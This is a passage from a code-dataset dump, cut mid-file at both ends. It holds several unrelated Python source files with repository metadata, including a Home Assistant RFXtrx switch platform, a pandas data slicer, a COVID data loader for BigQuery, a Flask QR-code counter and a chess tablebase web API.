False\r\n\r\n return False\r\n\r\n\r\n\r\n\r\n'''\r\n【这里是调用入口 从licenseRepair类那里】\r\n'''\r\ndef get_license_tree(repo):\r\n init()\r\n '''\r\n \r\n '''\r\n global tree\r\n tree = Tree()\r\n\r\n global nid_filepath\r\n nid_filepath = {}\r\n global nid_textNeedTE\r\n nid_textNeedTE = {}\r\n global nid_matchedLnameList\r\n nid_matchedLnameList = {}\r\n\r\n\r\n global IDsave\r\n IDsave = 0\r\n\r\n\r\n #print(license_check)\r\n #print(licenseNameList)\r\n\r\n add_node(tree.root, gen_id(), 'root', checked=False)\r\n checkPro(repo, 1, -1)\r\n\r\n hasPL = check_PL(repo)\r\n\r\n return tree, nid_filepath, hasPL, nid_textNeedTE, nid_matchedLnameList\r\n\r\n\r\n\r\n\r\nlibrary_license = {}\r\n\r\ndef init():\r\n with open(outputDir000 + \"library_license.txt\", 'r', encoding='utf-8')as fr:\r\n for line in fr.readlines():\r\n if line.strip():\r\n line = line.strip()\r\n library_license[line.split(\" ::::: \")[0]] = line.split(\" ::::: \")[1]\r\n fr.close()\r\n #print(library_license)\r\n #print(\"library_license: \" + str(len(library_license)))\r\n\r\n","repo_name":"anonymous123rainy/LiResolver","sub_path":"projectLicenseTree.py","file_name":"projectLicenseTree.py","file_ext":"py","file_size_in_byte":10282,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"20418734705","text":"\"\"\"\nSupport for RFXtrx switches.\n\nFor more details about this platform, please refer to the documentation at\nhttps://home-assistant.io/components/switch.rfxtrx/\n\"\"\"\nimport logging\n\nimport voluptuous as vol\n\nimport homeassistant.components.rfxtrx as rfxtrx\nfrom homeassistant.components.switch import SwitchDevice, PLATFORM_SCHEMA\nfrom homeassistant.components.rfxtrx import (\n CONF_AUTOMATIC_ADD, CONF_FIRE_EVENT, DEFAULT_SIGNAL_REPETITIONS,\n CONF_SIGNAL_REPETITIONS, CONF_DEVICES)\nfrom homeassistant.helpers import config_validation as cv\nfrom homeassistant.const import CONF_NAME\n\nDEPENDENCIES = ['rfxtrx']\n\n_LOGGER = logging.getLogger(__name__)\n\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({\n vol.Optional(CONF_DEVICES, default={}): {\n cv.string: vol.Schema({\n vol.Required(CONF_NAME): cv.string,\n vol.Optional(CONF_FIRE_EVENT, default=False): cv.boolean,\n })\n },\n vol.Optional(CONF_AUTOMATIC_ADD, default=False): cv.boolean,\n vol.Optional(CONF_SIGNAL_REPETITIONS, default=DEFAULT_SIGNAL_REPETITIONS):\n vol.Coerce(int),\n})\n\n\ndef setup_platform(hass, config, add_devices_callback, discovery_info=None):\n \"\"\"Set up the RFXtrx platform.\"\"\"\n import RFXtrx as rfxtrxmod\n\n # Add switch from config file\n switches = rfxtrx.get_devices_from_config(config, RfxtrxSwitch)\n add_devices_callback(switches)\n\n def switch_update(event):\n \"\"\"Handle sensor updates from the RFXtrx gateway.\"\"\"\n if not isinstance(event.device, rfxtrxmod.LightingDevice) or \\\n event.device.known_to_be_dimmable or \\\n event.device.known_to_be_rollershutter:\n return\n\n new_device = rfxtrx.get_new_device(event, config, RfxtrxSwitch)\n if new_device:\n add_devices_callback([new_device])\n\n rfxtrx.apply_received_command(event)\n\n # Subscribe to main RFXtrx events\n if switch_update not in rfxtrx.RECEIVED_EVT_SUBSCRIBERS:\n rfxtrx.RECEIVED_EVT_SUBSCRIBERS.append(switch_update)\n\n\nclass RfxtrxSwitch(rfxtrx.RfxtrxDevice, SwitchDevice):\n \"\"\"Representation of a RFXtrx switch.\"\"\"\n\n def turn_on(self, **kwargs):\n \"\"\"Turn the device on.\"\"\"\n self._send_command(\"turn_on\")\n","repo_name":"jest-community/jest-pytest","sub_path":"src/__tests__/integration/home-assistant/homeassistant/components/switch/rfxtrx.py","file_name":"rfxtrx.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"75"} +{"seq_id":"1044830304","text":"\"\"\"\nSlicer\n------\nA class to create dataframes for aggregations\n\"\"\"\n\nimport logging\nfrom typing import List, Tuple, Union\n\nimport pandas as pd\nfrom pandas.core.common import maybe_make_list\n\nfrom soam.constants import DS_COL\nfrom soam.core import Step\n\nCOLUMN = \"column\"\nGROUP = \"group\"\nMODE = [GROUP, COLUMN]\n\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n\nclass Slicer(Step):\n def __init__(\n self,\n dimensions: Union[str, List[str], None] = None,\n metrics: Union[str, List[str], None] = None,\n ds_col: str = DS_COL,\n keeps: Union[str, List[str], None] = None,\n **kwargs,\n ):\n \"\"\"\n Slice the incoming data upon the given dimensions\n\n Parameters\n ----------\n dimensions:\n str or list of str labels of categorical columns to slices\n metrics:\n str or list of str labels of metrics columns to slices\n ds_col:\n str of datetime column\n keeps:\n str or list of str labels of columns to keep.\n \"\"\"\n if dimensions is None:\n dimensions = []\n if metrics is None:\n metrics = []\n if keeps is None:\n keeps = []\n super().__init__(**kwargs)\n\n self.dimensions = maybe_make_list(dimensions)\n self.metrics = maybe_make_list(metrics)\n self.ds_col = ds_col\n self.keeps = maybe_make_list(keeps)\n\n def run(self, raw_df: pd.DataFrame) -> List[Tuple[str, pd.DataFrame]]: # type: ignore\n \"\"\"\n Slice the given dataframe with the dimensions setted.\n\n Parameters\n ----------\n raw_df\n A pandas DataFrame containing the raw data to slice\n\n Returns\n -------\n list[pd.DataFrame]\n DataFrame containing the sliced dataframes.\n\n Examples\n --------\n >>> df1 = pd.DataFrame(\n >>> { \"date\": [1, 2, 1, 2, 3],\n >>> \"country\": [\"ARG\", \"ARG\", \"BRA\", \"BRA\", \"BRA\"],\n >>> \"color\": [\"blue\", \"red\", \"red\", \"blue\", \"blue\"],\n >>> \"metric\": [451, 213, 378, 754, 546]})\n >>> \"metric2\": [333, 444, 555, 666, 777]})\n >>> slicing_test = Slicer(metrics=[\"metric\", \"metric2\"], ds_col=\"date\", \\\n dimensions=[\"country\",\"color\", [\"country\",\"color\"]] )\n >>> slicing_test.run(df1)\n\n [\n date country metric\n 1 ARG 451\n 2 ARG 213,\n date country metric2\n 1 ARG 333\n 2 ARG 444,\n date country metric\n 1 BRA 378\n 2 BRA 754\n 3 BRA 546,\n date country metric2\n 1 BRA 555\n 2 BRA 666\n 3 BRA 777,\n date color metric\n 1 blue 451\n 2 blue 754\n 3 blue 546,\n date color metric2\n 1 blue 333\n 2 blue 666\n 3 blue 777,\n date color metric\n 1 red 378\n 2 red 213,\n date color metric2\n 1 red 555\n 2 red 444,\n date country color metric\n 1 ARG blue 451,\n date country color metric2\n 1 ARG blue 333,\n date country color metric\n 2 ARG red 213,\n date country color metric2\n 2 ARG red 444,\n date country color metric\n 2 BRA blue 754\n 3 BRA blue 546,\n date country color metric2\n 2 BRA blue 666\n 3 BRA blue 777,\n date country color metric\n 1 BRA red 378,\n date country color metric2\n 1 BRA red 555]\n\n \"\"\"\n\n dataframes_ret = []\n\n # Validate logic\n self._check_dimensions(raw_df.columns.tolist())\n if not self.dimensions or not self.metrics:\n raise ValueError(\"Error no dimension neither metric\")\n\n # Setup dimensinal groups\n raw_df = raw_df.sort_values(by=self.ds_col)\n\n if self.dimensions:\n groups = []\n for dimension in self.dimensions:\n groups.extend([(g[1], dimension) for g in raw_df.groupby(dimension)])\n else:\n groups = [(raw_df, [])]\n\n # Make the cuts\n for group, dimension in groups:\n for metric in self.metrics:\n cols = [\n self.ds_col,\n *maybe_make_list(dimension),\n *maybe_make_list(metric),\n *self.keeps,\n ]\n dataframes_ret.append(group[cols])\n logger.info(\"Dataframe sliced into %s pieces\", len(dataframes_ret))\n return dataframes_ret\n\n def _check_dimensions(self, columns: List[str]):\n \"\"\"Check if the dimensions and ds columns are in the dataframe\"\"\"\n dimensions = []\n for dim in self.dimensions:\n dimensions.extend(maybe_make_list(dim))\n different_columns = set(dimensions) - set(columns)\n different_columns.update(set([self.ds_col]) - set(columns))\n\n if len(different_columns) > 0:\n raise ValueError(\n f\"\"\"Error unknown columns are setted in dimensions\n or ds_col: {different_columns}\"\"\"\n )\n","repo_name":"MuttData/soam","sub_path":"soam/workflow/slicer.py","file_name":"slicer.py","file_ext":"py","file_size_in_byte":5416,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"75"} +{"seq_id":"11638986345","text":"# -*- coding: utf-8 -*-\nfrom flask import request\n\n__all__ = []\n\n\nclass BaseWebView(object):\n # list of tuples: [(url, endpoint), ...]\n routes = []\n # allowed methods for view\n methods = ['GET', 'POST']\n\n def __init__(self, name=None, logger=None, debug=0):\n # view name\n self.name = name if name else self.__class__.__name__\n # view parent handler\n self.parent = None\n # view logger\n self.log = logger\n # debug mode\n self.debug = debug\n\n def initialize(self):\n pass\n\n # check xhr/ajax request type\n @classmethod\n def is_xhrequest(cls):\n return bool(\n request.headers.get('X-Requested-With') == 'XMLHttpRequest')\n\n # check json or xhr/ajax request type\n @classmethod\n def is_jsrequest(cls):\n return bool(\n 'json' in str(request.headers.get('Content-Type')) or\n request.headers.get('X-Requested-With') == 'XMLHttpRequest')\n\n def dispatch_request(self, **kwargs):\n # exec before request handlers\n if hasattr(self, 'before_request'):\n response = self.before_request(**kwargs)\n if response is not None:\n return response\n\n # dispatch request\n response = self.handle_request(**kwargs)\n\n # exec after request handlers\n if hasattr(self, 'after_request'):\n return self.after_request(response, **kwargs)\n\n return response\n\n def handle_request(self, **kwargs):\n method = request.method.lower()\n if not hasattr(self, method):\n # use GET method instead of HEAD if not implemented\n if method == 'head' and hasattr(self, 'get'):\n method = 'get'\n else:\n return \"Method Not Allowed\", 405\n\n return getattr(self, method)(**kwargs)\n\n # def before_request(self, **kwargs):\n # return None\n\n # def after_request(self, response, **kwargs):\n # return response\n\n # def head(self, **kwargs):\n # raise NotImplementedError()\n\n # def get(self, **kwargs):\n # raise NotImplementedError()\n\n # def post(self, **kwargs):\n # raise NotImplementedError()\n","repo_name":"exonlabs/exonutils","sub_path":"src/exonutils/webapp/flask/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"70643084724","text":"import pygame\nfrom settings import *\n\n\"\"\"\nButton1: Cambio de algoritmo\n\"\"\"\n\nclass Header:\n def __init__(self, set):\n self.screen = pygame.display.get_surface()\n self.set = set\n self.buttons = self._create_buttons()\n self.algorithm = Bubble(self)\n \n def update(self):\n self.set.update(self.algorithm)\n for button in self.buttons:\n button.show()\n if button.active:\n if button.type == \"activate\":\n button.active = False\n button.activate_button()\n self.display_current_algorithm()\n \n def _create_buttons(self):\n button_list = self.create_button(\n [\n {\n \"name\": \"menu_algoritm\",\n \"text\": \"Cambiar Algoritmo\",\n \"coordenates\": [21, 20, 300, 50],\n \"type\": \"menu\",\n \"menu\": Menu(\n 'Algorimos disponibles', \n [AMPLE / 4, ALTURA / 4, AMPLE / 2, ALTURA / 2], \n 40\n )\n },\n {\n \"name\": \"start_algorithm\",\n \"text\": \"Start\",\n \"color1\": green,\n \"coordenates\": [900, 20, 100, 50],\n \"type\": \"activate\",\n \"bool_field\": \"go\",\n \"_class\": self.set\n },\n {\n \"name\": \"end_algorithm\",\n \"text\": \"Shuffle\",\n \"coordenates\": [770, 20, 120, 50],\n \"type\": \"activate\",\n \"bool_field\": \"shuffle\",\n \"_class\": self.set\n }\n ]\n )\n return button_list\n \n def create_button(self, vals_dict):\n button_list = []\n for vals in vals_dict:\n button_list.append(Button(vals))\n return button_list\n\n def get_position(self, pos, button):\n cond1 = pos[0] > button.coord[0] and pos[1] > button.coord[1]\n cond2 = pos[0] < button.coord[0] + button.coord[2] and pos[0] < button.coord[0] + button.coord[2]\n return cond1 and cond2\n \n def display_current_algorithm(self):\n font = pygame.font.SysFont('Arial', int(HEADER / 2.5))\n text = font.render('Algoritmo: ' + self.algorithm.name, True, black)\n self.screen.blit(text, (AMPLE / 5, HEADER / 4.6))\n\n\nclass Button:\n def __init__(self, vals):\n self.screen = pygame.display.get_surface()\n self.name = vals.get(\"name\")\n self.text = vals.get(\"text\", \"\")\n self.coord = vals.get(\"coordenates\", [0,0,0,0])\n self.size_text = vals.get(\"text_size\", 35)\n self.color1 = vals.get(\"color1\", white_dirty)\n self.color2 = vals.get(\"color2\", blue)\n self.border_radius = vals.get(\"border_radius\", 10)\n self.offset = vals.get(\"offset\", [5,5])\n self.active = False\n self.pressed = False\n self.type = vals.get(\"type\", \"null\")\n self.menu = vals.get(\"menu\", False)\n self._class = vals.get(\"_class\", False)\n self.bool_field = vals.get(\"bool_field\", False)\n\n\n def show(self):\n font = pygame.font.SysFont('Arial', self.size_text)\n code = font.render(self.text, True, black)\n if self.pressed:\n pygame.draw.rect(self.screen, self.color2, self.coord, border_radius=self.border_radius)\n else:\n pygame.draw.rect(self.screen, self.color1, self.coord, border_radius=self.border_radius)\n pygame.draw.rect(self.screen, black, self.coord, border_radius=self.border_radius, width=2)\n text_posx, text_posy = self.coord[0] + self.offset[0], self.coord[1] + self.offset[1]\n self.screen.blit(code, (text_posx, text_posy))\n \n def activate_button(self):\n if self.type == \"menu\":\n self.menu.update()\n elif self.type == \"activate\":\n setattr(self._class, self.bool_field, True)\n\nclass Menu:\n def __init__(self, title, coord, size_text, color = grey_menu, border_radius = 10):\n self.screen = pygame.display.get_surface()\n self.text = title\n self.coord = coord\n self.size_text = size_text\n self.color = color\n self.border_radius = border_radius\n\n def update(self):\n self.draw_background()\n\n def draw_background(self):\n pygame.draw.rect(self.screen, self.color, self.coord, border_radius=self.border_radius)\n pygame.draw.rect(self.screen, black, self.coord, border_radius=self.border_radius, width=2)\n\n\n \n\n\n","repo_name":"RogerAmoros13/Sorting","sub_path":"header.py","file_name":"header.py","file_ext":"py","file_size_in_byte":4635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12575262361","text":"# coding: utf-8\nfrom __future__ import print_function\nimport os\ntry:\n if \"nt\" == os.name:\n import win32api\n\nexcept ImportError as error:\n raise ImportError(\"bottle-jstree requires win32api\")\n\n\ndef has_children(path, filter_function=None):\n try:\n children = [os.path.join(path, entry) for entry in os.listdir(path)]\n\n if filter_function:\n return 0 < len(list(filter(filter_function, children)))\n\n else:\n return 0 < children.__len__()\n\n except PermissionError as error:\n return False\n\n\ndef filter_directory(path):\n return os.path.exists(path) and os.path.isdir(path)\n\n\ndef get_logical_drives():\n return win32api.GetLogicalDriveStrings().split('\\000')[:-1]\n\n\ndef get_directories(path):\n return_value = []\n\n if path == \"#\":\n if \"nt\" == os.name:\n logical_drive_letters = get_logical_drives()\n\n for logical_drive_letter in logical_drive_letters:\n item = dict()\n item[\"id\"] = logical_drive_letter\n item[\"text\"] = logical_drive_letter\n item[\"children\"] = has_children(logical_drive_letter)\n return_value.append(item)\n\n else:\n item = dict()\n item[\"id\"] = \"/\"\n item[\"text\"] = \"/\"\n item[\"children\"] = has_children(\"/\")\n return_value.append(item)\n\n return return_value\n\n for entry in os.listdir(path):\n full_path = os.path.join(path, entry)\n\n if os.path.isdir(full_path):\n item = dict()\n item[\"id\"] = full_path\n item[\"text\"] = entry\n item[\"children\"] = has_children(full_path, filter_directory)\n return_value.append(item)\n\n return return_value\n","repo_name":"idkwim/glossy","sub_path":"src/contrib/bottle_jstree.py","file_name":"bottle_jstree.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27132272607","text":"import pandas as pd\r\nimport pandas_gbq\r\nfrom bs4 import BeautifulSoup\r\nfrom google.cloud.exceptions import NotFound\r\nfrom data_cleaning_constants import EXCLUDED_STATES, DROPPED_COLUMNS, US_STATE_ABBREV\r\n\r\n\r\ndef find_all_raw_urls(github_url, base_url, driver):\r\n \"\"\"\r\n Extract all links from a github repository page\r\n Extract the date of each csv file which will be used later to name the file when saving it\r\n\r\n Parameters:\r\n -----------\r\n github_url: string of github repository url\r\n base_url: string of root raw_url\r\n driver: selenium driver object\r\n\r\n Returns:\r\n extracted_dates: list of all available dates\r\n raw_urls: list of all available raw_urls\r\n \"\"\"\r\n\r\n # Set up connection to the github url\r\n driver.get(github_url)\r\n\r\n # Create empty lists to store necessary information\r\n all_links = []\r\n extracted_dates = []\r\n raw_urls = []\r\n\r\n # Obtain all links and filter out duplicates\r\n github_html = driver.page_source\r\n soup = BeautifulSoup(github_html, \"lxml\")\r\n driver.quit()\r\n\r\n for link in soup.find_all(\"a\"):\r\n href_link = link.get(\"href\")\r\n all_links.append(href_link)\r\n\r\n all_links = [link for link in all_links if link and \".csv\" in link]\r\n all_links = list(set(all_links))\r\n\r\n # Obtain all dates where it's the first of the month\r\n for link in all_links:\r\n date = link[-14:-4]\r\n extracted_dates.append(date)\r\n extracted_dates = [date for date in extracted_dates if date[3:5] == \"01\"]\r\n\r\n # Obtain all raw urls\r\n for date in extracted_dates:\r\n raw_url = base_url + date + \".csv\"\r\n raw_urls.append(raw_url)\r\n\r\n return extracted_dates, raw_urls\r\n\r\n\r\ndef fill_database(extracted_dates, raw_urls, client, table_id):\r\n \"\"\"\r\n Read a bigquery table into memory\r\n If the table exists then check for missing records and fill them in\r\n If the table does not exist then fill the table with all available records\r\n\r\n Parameters:\r\n -----------\r\n extracted_dates: list of all available dates\r\n raw_urls: list of all available raw_urls\r\n client: bigquery client connection\r\n table_id: table id where data will be saved to\r\n\r\n Returns:\r\n None\r\n \"\"\"\r\n\r\n # If table exists, fill in any missing records\r\n try:\r\n client.get_table(table_id)\r\n df = pandas_gbq.read_gbq(table_id)\r\n existing_dates = df[\"Date\"].unique().tolist()\r\n existing_row_count = df.shape[0]\r\n\r\n for idx, _ in enumerate(extracted_dates):\r\n if extracted_dates[idx] not in existing_dates:\r\n tmp_df = pd.read_csv(raw_urls[idx])\r\n tmp_df = tmp_df[\r\n ~tmp_df[\"Province_State\"].isin(EXCLUDED_STATES)\r\n ].reset_index(drop=True)\r\n tmp_df = tmp_df.drop(DROPPED_COLUMNS, axis=1, errors=\"ignore\")\r\n tmp_df[\"Date\"] = extracted_dates[idx]\r\n\r\n df = pd.concat([df, tmp_df], ignore_index=True).drop_duplicates(\r\n keep=False\r\n )\r\n\r\n df = df.iloc[existing_row_count:]\r\n df[\"State_Code\"] = df[\"Province_State\"].map(US_STATE_ABBREV)\r\n pandas_gbq.to_gbq(df, table_id, if_exists=\"append\")\r\n print(\"Missing Records Filled\")\r\n\r\n # If table doesn't exist, create table with all available records\r\n except NotFound:\r\n df = pd.DataFrame()\r\n\r\n for idx, _ in enumerate(raw_urls):\r\n tmp_df = pd.read_csv(raw_urls[idx])\r\n tmp_df = tmp_df[\r\n ~tmp_df[\"Province_State\"].isin(EXCLUDED_STATES)\r\n ].reset_index(drop=True)\r\n tmp_df = tmp_df.drop(DROPPED_COLUMNS, axis=1, errors=\"ignore\")\r\n tmp_df[\"Date\"] = extracted_dates[idx]\r\n\r\n df = pd.concat([df, tmp_df], ignore_index=True).drop_duplicates(keep=False)\r\n\r\n df[\"State_Code\"] = df[\"Province_State\"].map(US_STATE_ABBREV)\r\n pandas_gbq.to_gbq(df, table_id)\r\n print(\"Empty Table Filled\")\r\n","repo_name":"aLeadPencil/covid-data-gathering","sub_path":"data_cleaning_functions.py","file_name":"data_cleaning_functions.py","file_ext":"py","file_size_in_byte":3983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35170312721","text":"\"\"\"\n개발자: 박성훈(hoonhoons.park@gmail.com)\n마지막 수정: 2019-05-11\n\n무학 QR 챌린지 2019용 웹 서버\nQR코드를 찍으면 이 웹 서버 링크와 연결된다.\n한 QR코드는 딱 두번까지만 이미지를 보여준다.\n\"\"\"\n\nfrom flask import Flask, request, render_template\n\nthis_app = Flask(__name__)\n\nNUM_MAX = 30\nnums = [0] * NUM_MAX\n\n@this_app.route('/')\n@this_app.route('/index')\ndef index():\n return \"박성훈의 flask 서버\"\n \n@this_app.route('/qr')\ndef qr():\n try:\n num = int(request.args.get('num'))\n if not (num >= 0 and num < NUM_MAX):\n return \"Num is out of range\"\n if nums[num] >= 3:\n return render_template('done.html')\n except Exception as e:\n print(e)\n return \"Error\"\n \n if str(request.environ['REMOTE_ADDR']).find(\"110.93.146\") == -1:\n nums[num] += 1\n \n return render_template('image.html', num = num, count = nums[num])\n\n@this_app.route('/status')\ndef status():\n #print(request.environ['REMOTE_ADDR'])\n #print(str(request.environ['REMOTE_ADDR']).find(\"110.93.146\"))\n return str(nums)\n\n@this_app.route('/init')\ndef init():\n global nums\n nums = [0] * NUM_MAX\n return \"Successfully init!\\n\" + str(nums)\n \nif __name__ == '__main__':\n this_app.run(debug=True, host='0.0.0.0', port=5002, threaded=True)","repo_name":"hoonhoons/Moohak-QR-Challenge","sub_path":"flask_main.py","file_name":"flask_main.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3301670213","text":"#!/usr/bin/env python\n\nfrom flask import Flask\nfrom flask import render_template\nfrom flask import current_app\nfrom flask import redirect\nfrom flask import request\nfrom flask import url_for\nfrom flask import jsonify\nfrom flask import send_from_directory\n\nfrom werkzeug.exceptions import BadRequest\n\nimport chess\nimport chess.syzygy\nimport chess.gaviota\n\nimport functools\nimport os.path\nimport warnings\nimport json\n\ntry:\n from htmlmin import minify as html_minify\nexcept ImportError:\n warnings.warn(\"Not using HTML minification, htmlmin not imported.\")\n\n def html_minify(html):\n return html\n\n\nDEFAULT_FEN = \"4k3/8/8/8/8/8/8/4K3 w - - 0 1\"\n\n\napp = Flask(__name__)\n\nsyzygy = chess.syzygy.Tablebases()\nnum = 0\nnum += syzygy.open_directory(os.path.join(os.path.dirname(__file__), \"four-men\"))\nnum += syzygy.open_directory(os.path.join(os.path.dirname(__file__), \"five-men\"))\nnum += syzygy.open_directory(os.path.join(os.path.dirname(__file__), \"six-men\", \"wdl\"), load_dtz=False)\nnum += syzygy.open_directory(os.path.join(os.path.dirname(__file__), \"six-men\", \"dtz\"), load_wdl=False)\napp.logger.info(\"Loaded %d tablebase files.\", num)\n\ngaviota = chess.gaviota.open_tablebases(os.path.join(os.path.dirname(__file__), \"gaviota\"))\n\n\ndef swap_colors(fen):\n parts = fen.split()\n return parts[0].swapcase() + \" \" + parts[1] + \" - - 0 1\"\n\ndef mirror_vertical(fen):\n parts = fen.split()\n position_parts = \"/\".join(reversed(parts[0].split(\"/\")))\n return position_parts + \" \" + parts[1] + \" - - 0 1\"\n\ndef mirror_horizontal(fen):\n parts = fen.split()\n position_parts = \"/\".join(\"\".join(reversed(position_part)) for position_part in parts[0].split(\"/\"))\n return position_parts + \" \" + parts[1] + \" - - 0 1\"\n\ndef clear_fen(fen):\n parts = fen.split()\n return DEFAULT_FEN.replace(\"w\", parts[1])\n\n\ndef material(board):\n name = \"\"\n name += \"K\" * chess.pop_count(board.kings & board.occupied_co[chess.WHITE])\n name += \"Q\" * chess.pop_count(board.queens & board.occupied_co[chess.WHITE])\n name += \"R\" * chess.pop_count(board.rooks & board.occupied_co[chess.WHITE])\n name += \"B\" * chess.pop_count(board.bishops & board.occupied_co[chess.WHITE])\n name += \"N\" * chess.pop_count(board.knights & board.occupied_co[chess.WHITE])\n name += \"P\" * chess.pop_count(board.pawns & board.occupied_co[chess.WHITE])\n name += \"v\"\n name += \"K\" * chess.pop_count(board.kings & board.occupied_co[chess.BLACK])\n name += \"Q\" * chess.pop_count(board.queens & board.occupied_co[chess.BLACK])\n name += \"R\" * chess.pop_count(board.rooks & board.occupied_co[chess.BLACK])\n name += \"B\" * chess.pop_count(board.bishops & board.occupied_co[chess.BLACK])\n name += \"N\" * chess.pop_count(board.knights & board.occupied_co[chess.BLACK])\n name += \"P\" * chess.pop_count(board.pawns & board.occupied_co[chess.BLACK])\n return name\n\n\ndef jsonp(func):\n \"\"\"Wraps JSONified output for JSONP requests.\"\"\"\n @functools.wraps(func)\n def decorated_function(*args, **kwargs):\n callback = request.args.get('callback', False)\n if callback:\n data = str(func(*args, **kwargs).data)\n content = str(callback) + '(' + data + ');'\n mimetype = 'application/javascript'\n return current_app.response_class(content, mimetype=mimetype)\n else:\n return func(*args, **kwargs)\n return decorated_function\n\n\ndef probe(board):\n moves = {}\n\n # The best move will be determined in this order.\n mating_move = None\n zeroing_move = None\n winning_move, winning_dtz = None, -9999\n stalemating_move = None\n insuff_material_move = None\n drawing_move = None\n losing_move, losing_dtz = None, -9999\n losing_zeroing_move, losing_zeroing_dtz = None, -9999\n\n # Look at all moves and probe for the result position.\n for move in board.legal_moves:\n uci_move = board.uci(move)\n board.push(move)\n\n dtz = syzygy.probe_dtz(board)\n dtm = gaviota.probe_dtm(board)\n\n moves[uci_move] = {\n \"dtz\": dtz,\n \"dtm\": dtm,\n }\n\n # Mate.\n if board.is_checkmate():\n mating_move = uci_move\n\n # Winning zeroing move.\n if dtz is not None and dtz < 0 and board.halfmove_clock == 0:\n zeroing_move = uci_move\n\n # Winning move.\n if dtz is not None and dtz < 0 and dtz > winning_dtz:\n winning_move = uci_move\n winning_dtz = dtz\n\n # Stalemating move.\n if board.is_stalemate():\n stalemating_move = uci_move\n\n # Insufficient material.\n if board.is_insufficient_material():\n insuff_material_move = uci_move\n\n # Drawing move.\n if dtz is not None and dtz == 0:\n drawing_move = uci_move\n\n # Losing move.\n if dtz is not None and board.halfmove_clock != 0 and dtz > losing_dtz:\n losing_move = uci_move\n losing_dtz = dtz\n\n # Losing move.\n if dtz is not None and dtz > losing_zeroing_dtz:\n losing_zeroing_move = uci_move\n losing_zeroing_dtz = dtz\n\n board.pop()\n\n return {\n \"dtz\": syzygy.probe_dtz(board),\n \"wdl\": syzygy.probe_wdl(board),\n \"dtm\": gaviota.probe_dtm(board),\n \"bestmove\": mating_move or zeroing_move or winning_move or stalemating_move or insuff_material_move or drawing_move or losing_move or losing_zeroing_move,\n \"moves\": moves,\n }\n\n@app.route(\"/api\")\n@app.route(\"/api/\")\ndef api():\n return redirect(url_for(\".api_v1\", fen=request.args.get(\"fen\")))\n\n@app.route(\"/api/v1\")\n@jsonp\ndef api_v1():\n # Get required FEN argument.\n fen = request.args.get(\"fen\")\n if not fen:\n raise BadRequest(\"fen required\")\n\n # Setup a board with the given FEN.\n try:\n board = chess.Board(fen)\n except ValueError:\n raise BadRequest(\"invalid fen\")\n\n # Check the position for validity.\n if not board.is_valid():\n raise BadRequest(\"illegal fen\")\n\n # Remove DTM information to produce legacy API output.\n result = probe(board)\n for move in result[\"moves\"]:\n result[\"moves\"][move] = result[\"moves\"][move][\"dtz\"]\n\n return jsonify(**result)\n\n@app.route(\"/api/v2\")\n@jsonp\ndef api_v2():\n # Get required FEN argument.\n fen = request.args.get(\"fen\")\n if not fen:\n raise BadRequest(\"fen required\")\n\n # Setup a board with the given FEN.\n try:\n board = chess.Board(fen)\n except ValueError:\n raise BadRequest(\"invalid fen\")\n\n # Check the position for validity.\n if not board.is_valid():\n raise BadRequest(\"illegal fen\")\n\n return jsonify(**probe(board))\n\n\n@app.route(\"/\")\ndef index():\n # Setup a board from the given valid FEN or fall back to the default FEN.\n try:\n board = chess.Board(request.args.get(\"fen\", DEFAULT_FEN))\n except ValueError:\n try:\n board, _ = chess.Board.from_epd(request.args.get(\"fen\", DEFAULT_FEN))\n except ValueError:\n board = chess.Board(DEFAULT_FEN)\n\n # Get FENs with the current side to move, black and white to move.\n original_turn = board.turn\n board.turn = chess.WHITE\n white_fen = board.fen()\n board.turn = chess.BLACK\n black_fen = board.fen()\n board.turn = original_turn\n fen = board.fen()\n\n wdl = None\n winning_side = None\n winning_moves = []\n drawing_moves = []\n losing_moves = []\n\n if not board.is_valid():\n status = \"Invalid position\"\n elif board.is_stalemate():\n status = \"Draw by stalemate\"\n wdl = 0\n elif board.is_checkmate():\n wdl = 2\n if board.turn == chess.WHITE:\n status = \"Black won by checkmate\"\n winning_side = \"black\"\n else:\n status = \"White won by checkmate\"\n winning_side = \"white\"\n else:\n wdl = syzygy.probe_wdl(board)\n dtz = syzygy.probe_dtz(board)\n if board.is_insufficient_material():\n status = \"Draw by insufficient material\"\n wdl = 0\n elif dtz is None:\n status = \"Position not found in tablebases\"\n elif dtz == 0:\n status = \"Tablebase draw\"\n elif dtz > 0 and board.turn == chess.WHITE:\n status = \"White is winning with DTZ %d\" % (abs(dtz), )\n winning_side = \"white\"\n losing_side = \"black\"\n elif dtz < 0 and board.turn == chess.WHITE:\n status = \"White is losing with DTZ %d\" % (abs(dtz), )\n winning_side = \"black\"\n losing_side = \"white\"\n elif dtz > 0 and board.turn == chess.BLACK:\n status = \"Black is winning with DTZ %d\" % (abs(dtz), )\n winning_side = \"black\"\n losing_side = \"white\"\n elif dtz < 0 and board.turn == chess.BLACK:\n status = \"Black is losing with DTZ %d\" % (abs(dtz), )\n winning_side = \"white\"\n losing_side = \"black\"\n\n for move in board.legal_moves:\n san = board.san(move)\n uci = board.uci(move)\n board.push(move)\n\n move_info = {\n \"uci\": uci,\n \"san\": san,\n \"fen\": board.epd() + \" 0 1\",\n \"dtz\": syzygy.probe_dtz(board),\n \"dtm\": gaviota.probe_dtm(board),\n \"zeroing\": board.halfmove_clock == 0,\n \"checkmate\": board.is_checkmate(),\n \"stalemate\": board.is_stalemate(),\n \"insufficient_material\": board.is_insufficient_material(),\n }\n\n move_info[\"dtm\"] = abs(move_info[\"dtm\"]) if move_info[\"dtm\"] is not None else None\n\n move_info[\"winning\"] = move_info[\"checkmate\"] or 